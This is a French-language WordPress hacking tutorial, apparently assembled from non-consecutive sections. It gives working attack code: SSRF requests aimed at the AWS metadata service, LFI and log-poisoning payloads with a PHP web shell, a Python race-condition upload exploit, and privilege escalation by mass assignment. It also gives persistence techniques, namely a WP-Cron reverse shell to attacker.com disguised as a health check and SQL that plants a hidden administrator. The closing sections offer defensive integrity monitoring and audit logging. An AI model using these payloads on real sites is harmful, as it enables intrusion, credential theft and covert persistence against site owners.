Hacking WordPress Intermédiaire : Exploitation Avancée

Pour approfondir ce sujet, consultez notre outil open-source advanced-nmap-scanner qui facilite l'automatisation des scans réseau avancés. Les professionnels y trouveront des recommandations concretes et des strategies de securisation eprouvees en environnement de production.

2.2 SSRF via plugins

De nombreux plugins WordPress effectuent des requêtes HTTP côté serveur pour diverses fonctionnalités : récupération de miniatures depuis des URL externes (oEmbed), agrégation de flux RSS, vérification de liens, partage social, import de contenu. Ces fonctionnalités constituent autant de vecteurs potentiels de Server-Side Request Forgery (SSRF). L'attaquant manipule l'URL de destination pour forcer le serveur WordPress à émettre des requêtes vers des ressources internes normalement inaccessibles depuis l'extérieur.

WordPress intègre nativement la fonctionnalité oEmbed qui permet d'intégrer du contenu externe (vidéos YouTube, tweets, etc.) en fournissant simplement une URL. Le mécanisme effectue une requête HTTP vers l'URL fournie pour récupérer les métadonnées d'intégration. Un attaquant peut exploiter cette fonctionnalité pour scanner le réseau interne, accéder à des services de métadonnées cloud (IMDS à http://169.254.169.254), ou interagir avec des services internes comme Redis, Elasticsearch ou des panneaux d'administration.

# Exploitation SSRF via la fonctionnalité oEmbed de WordPress
# Tentative d'accès au service de métadonnées AWS
curl -X POST "https://target.com/wp-json/oembed/1.0/proxy" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# Scan de ports internes via un plugin de vérification de liens
curl "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=check_link&url=http://192.168.1.1:8080/admin"

# Exploitation via les fonctions de prévisualisation d'URL
curl "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=fetch_preview&url=http://internal-db:3306/"

2.3 LFI/RFI dans les thèmes

Les vulnérabilités d'inclusion de fichiers (Local File Inclusion / Remote File Inclusion) dans les thèmes WordPress proviennent typiquement de mécanismes de sélection de templates dynamiques. Un thème qui permet à l'utilisateur de choisir un layout ou un template via un paramètre GET ou POST sans validation suffisante ouvre la porte à l'inclusion de fichiers arbitraires.

// Thème vulnérable : inclusion dynamique de template sans validation
// fichier: theme/page-templates/custom-template.php

$template = isset($_GET['template']) ? $_GET['template'] : 'default';
// VULNÉRABLE : path traversal possible
include(TEMPLATEPATH . '/templates/' . $template . '.php');

// Exploitation LFI : lecture de /etc/passwd
// GET /page/?template=../../../../etc/passwd%00

// Exploitation via wrappers PHP
// GET /page/?template=php://filter/convert.base64-encode/resource=wp-config

// Log poisoning pour RCE via LFI
// 1. Injecter du code PHP dans les logs Apache via User-Agent
// User-Agent: <?php system($_GET['cmd']); ?>
// 2. Inclure le fichier de log
// GET /page/?template=../../../../var/log/apache2/access.log%00

Les wrappers PHP offrent des possibilités d'exploitation élargies. Le wrapper php://filter permet de lire le code source de fichiers PHP (notamment wp-config.php qui contient les identifiants de base de données) en encodant le contenu en base64. Le wrapper data:// peut être utilisé pour injecter du code PHP directement via l'URL si allow_url_include est activé. Le wrapper expect://, lorsqu'il est disponible, permet une exécution de commandes directe.

2.4 Race conditions dans les uploads

Les vulnérabilités de type TOCTOU (Time-of-Check to Time-of-Use) dans le système d'upload WordPress exploitent le délai entre le moment où un fichier est vérifié et celui où il est utilisé ou supprimé. WordPress effectue plusieurs vérifications lors d'un upload : validation du type MIME, vérification de l'extension, analyse du contenu. Certains plugins de sécurité ajoutent des scans antivirus ou des vérifications supplémentaires. Le problème est que le fichier est d'abord écrit sur le disque, puis vérifié, et potentiellement supprimé si la vérification échoue.

# Script d'exploitation de race condition sur l'upload WordPress
# Envoie simultanément un fichier malveillant et tente d'y accéder
# avant que le plugin de sécurité ne le supprime

import threading
import requests
import time

TARGET = "https://target.com"
UPLOAD_URL = f"{TARGET}/wp-admin/admin-ajax.php"
SHELL_NAME = "temp_image.php.jpg"  # Double extension
SHELL_PATH = f"{TARGET}/wp-content/uploads/2026/02/{SHELL_NAME}"

def upload_shell():
    """Upload le fichier malveillant en continu"""
    files = {'file': (SHELL_NAME, b'GIF89a', 'image/jpeg')}
    data = {'action': 'upload_attachment', '_wpnonce': NONCE}
    while True:
        try:
            requests.post(UPLOAD_URL, files=files, data=data, cookies=COOKIES)
        except:
            pass

def access_shell():
    """Tente d'accéder au shell avant sa suppression"""
    while True:
        try:
            r = requests.get(f"{SHELL_PATH}?c=id", timeout=1)
            if "uid=" in r.text:
                print(f"[+] RCE réussie : {r.text}")
                return True
        except:
            pass

# Lancement simultané des threads
for _ in range(5):
    threading.Thread(target=upload_shell, daemon=True).start()
for _ in range(10):
    threading.Thread(target=access_shell, daemon=True).start()

time.sleep(60)  # Attente de 60 secondes

Les plugins qui enregistrent des custom post types avec l'API REST exposent souvent des champs supplémentaires sans vérification de permissions adéquate. Une attaque par mass assignment consiste à envoyer des paramètres supplémentaires dans une requête de création ou de mise à jour, en espérant que le serveur acceptera des champs non prévus. Par exemple, un plugin de e-commerce peut exposer un endpoint pour les produits mais ne pas correctement protéger le champ prix ou le statut de publication.

# Tentative de mass assignment sur un custom post type
# Exemple : modification du prix d'un produit WooCommerce
curl -X POST "https://target.com/wp-json/wc/v3/products/42" \
  -H "Content-Type: application/json" \
  -H "Authorization: Basic $(echo -n 'subscriber:password' | base64)" \
  -d '{
    "regular_price": "0.01",
    "status": "publish",
    "meta_data": [
      {"key": "_price", "value": "0.01"},
      {"key": "_stock_status", "value": "instock"}
    ]
  }'

# Escalade via modification de capabilities dans les métadonnées utilisateur
curl -X POST "https://target.com/wp-json/wp/v2/users/me" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{
    "meta": {
      "wp_capabilities": {"administrator": true}
    }
  }'

WordPress possède son propre système de tâches planifiées (WP-Cron) qui est déclenché à chaque visite sur le site. Un attaquant peut enregistrer des événements cron persistants qui exécutent du code malveillant à intervalles réguliers. Ce mécanisme est particulièrement insidieux car les événements cron sont stockés en base de données (dans la table wp_options sous la clé cron) et ne sont pas visibles dans le système de fichiers.

// Enregistrement d'un cron job malveillant pour reverse shell périodique
// Ce code est exécuté une fois pour installer la persistance

// Définir la fonction de callback
function wp_system_health_check() {
    // Reverse shell PHP déguisé en "health check"
    $sock = fsockopen("attacker.com", 4444, $errno, $errstr, 5);
    if ($sock) {
        $descriptorspec = array(
            0 => $sock,
            1 => $sock,
            2 => $sock
        );
        $process = proc_open('/bin/sh', $descriptorspec, $pipes);
    }
}
add_action('wp_system_health_check_hook', 'wp_system_health_check');

// Planifier l'exécution toutes les 6 heures
if (!wp_next_scheduled('wp_system_health_check_hook')) {
    wp_schedule_event(time(), 'sixhours', 'wp_system_health_check_hook');
}

// Ajouter un intervalle personnalisé de 6 heures
add_filter('cron_schedules', function($schedules) {
    $schedules['sixhours'] = array(
        'interval' => 21600,
        'display'  => 'Every 6 Hours'
    );
    return $schedules;
});

4.4 Utilisateurs admin fantômes

L'insertion directe d'un utilisateur administrateur en base de données est une technique de persistance qui contourne les hooks et les notifications WordPress habituels. L'utilisateur créé de cette manière n'apparaîtra pas dans les logs d'activité gérés par les plugins de sécurité (qui se basent sur les hooks WordPress) et peut être rendu difficile à repérer en utilisant un nom d'utilisateur qui ressemble à un compte système légitime.

-- Insertion directe d'un administrateur fantôme en base de données
-- Contourne tous les hooks WordPress et les plugins de logging

-- 1. Créer l'utilisateur
INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email,
                      user_registered, user_status, display_name)
VALUES (
    'wpsupport',
    '$P$BZk5L7J5x9nC5CjJ7Ceb5O6qX6MKE0', -- mot de passe : Admin2026!
    'wpsupport',
    'wp-support@wordpress.org', -- email semblant légitime
    NOW(),
    0,
    'WP Support'
);

-- 2. Récupérer l'ID du nouvel utilisateur
SET @uid = LAST_INSERT_ID();

-- 3. Attribuer le rôle administrateur via les capabilities
INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES
(@uid, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'),
(@uid, 'wp_user_level', '10'),
(@uid, 'nickname', 'wpsupport'),
(@uid, 'first_name', 'WP'),
(@uid, 'last_name', 'Support'),
(@uid, 'description', 'WordPress Technical Support Account');

Le monitoring d'intégrité des fichiers est la défense la plus efficace contre les backdoors et les modifications malveillantes du code. Il compare l'état actuel du système de fichiers avec un état de référence connu et alerte sur toute modification. Pour WordPress, cela inclut la surveillance du core, des plugins, des thèmes et surtout des répertoires critiques comme mu-plugins et uploads.

#!/bin/bash
# Script de monitoring d'intégrité WordPress
# À exécuter via cron toutes les heures

WP_PATH="/var/www/html"
HASH_FILE="/var/lib/wp-integrity/hashes.sha256"
ALERT_EMAIL="security@domain.com"
TIMESTAMP=$(date '+%Y-%m-%d %H:%M:%S')

# Fichiers critiques à surveiller
CRITICAL_FILES=(
    "$WP_PATH/wp-config.php"
    "$WP_PATH/wp-settings.php"
    "$WP_PATH/wp-includes/version.php"
    "$WP_PATH/.htaccess"
)

# Vérifier les fichiers PHP dans les répertoires sensibles
NEW_PHP_UPLOADS=$(find "$WP_PATH/wp-content/uploads" -name "*.php" -newer "$HASH_FILE" 2>/dev/null)
NEW_MU_PLUGINS=$(find "$WP_PATH/wp-content/mu-plugins" -name "*.php" -newer "$HASH_FILE" 2>/dev/null)

if [ -n "$NEW_PHP_UPLOADS" ] || [ -n "$NEW_MU_PLUGINS" ]; then
    echo "[$TIMESTAMP] ALERTE : Nouveaux fichiers PHP détectés !" | \
        mail -s "[WordPress Security] Fichiers suspects détectés" "$ALERT_EMAIL"
fi

# Comparer les hashes des fichiers critiques
for file in "${CRITICAL_FILES[@]}"; do
    current_hash=$(sha256sum "$file" 2>/dev/null | cut -d' ' -f1)
    stored_hash=$(grep "$file" "$HASH_FILE" 2>/dev/null | cut -d' ' -f1)

    if [ "$current_hash" != "$stored_hash" ] && [ -n "$stored_hash" ]; then
        echo "[$TIMESTAMP] MODIFICATION : $file" | \
            mail -s "[WordPress Security] Fichier critique modifié" "$ALERT_EMAIL"
    fi
done

# Mettre à jour la base de référence
find "$WP_PATH" -name "*.php" -exec sha256sum {} \; > "$HASH_FILE.new"
mv "$HASH_FILE.new" "$HASH_FILE"

6.4 Audit logs et détection d'anomalies

Les logs d'audit WordPress permettent de détecter les activités suspectes : tentatives de connexion échouées, modifications de rôles, installation de plugins, modification de fichiers via l'éditeur intégré. Le plugin WP Activity Log offre une couverture complète des événements WordPress et peut être intégré à un SIEM externe (Splunk, Elastic SIEM, Microsoft Sentinel) via syslog ou webhook pour une corrélation avec d'autres sources de logs (WAF, serveur web, système).

// Logging personnalisé d'événements de sécurité WordPress
// À ajouter dans functions.php du thème ou dans un plugin custom

// Logger les tentatives de connexion échouées
add_action('wp_login_failed', function($username) {
    $ip = $_SERVER['REMOTE_ADDR'];
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
    error_log(sprintf(
        '[WP-SECURITY] Login failed | user=%s | ip=%s | ua=%s',
        sanitize_user($username), $ip, $ua
    ));
});

// Logger les changements de rôle utilisateur
add_action('set_user_role', function($user_id, $role, $old_roles) {
    $user = get_userdata($user_id);
    $current_user = wp_get_current_user();
    error_log(sprintf(
        '[WP-SECURITY] Role changed | target=%s | old=%s | new=%s | by=%s | ip=%s',
        $user->user_login,
        implode(',', $old_roles),
        $role,
        $current_user->user_login,
        $_SERVER['REMOTE_ADDR']
    ));
}, 10, 3);

// Logger les installations de plugins
add_action('activated_plugin', function($plugin) {
    $current_user = wp_get_current_user();
    error_log(sprintf(
        '[WP-SECURITY] Plugin activated | plugin=%s | by=%s | ip=%s',
        $plugin, $current_user->user_login, $_SERVER['REMOTE_ADDR']
    ));
});

// Détecter les modifications suspectes de wp_options
add_action('updated_option', function($option, $old, $new) {
    $critical_options = ['default_role', 'users_can_register',
                         'siteurl', 'home', 'admin_email'];
    if (in_array($option, $critical_options)) {
        error_log(sprintf(
            '[WP-SECURITY] Critical option changed | option=%s | old=%s | new=%s | ip=%s',
            $option, $old, $new, $_SERVER['REMOTE_ADDR']
        ));
    }
}, 10, 3);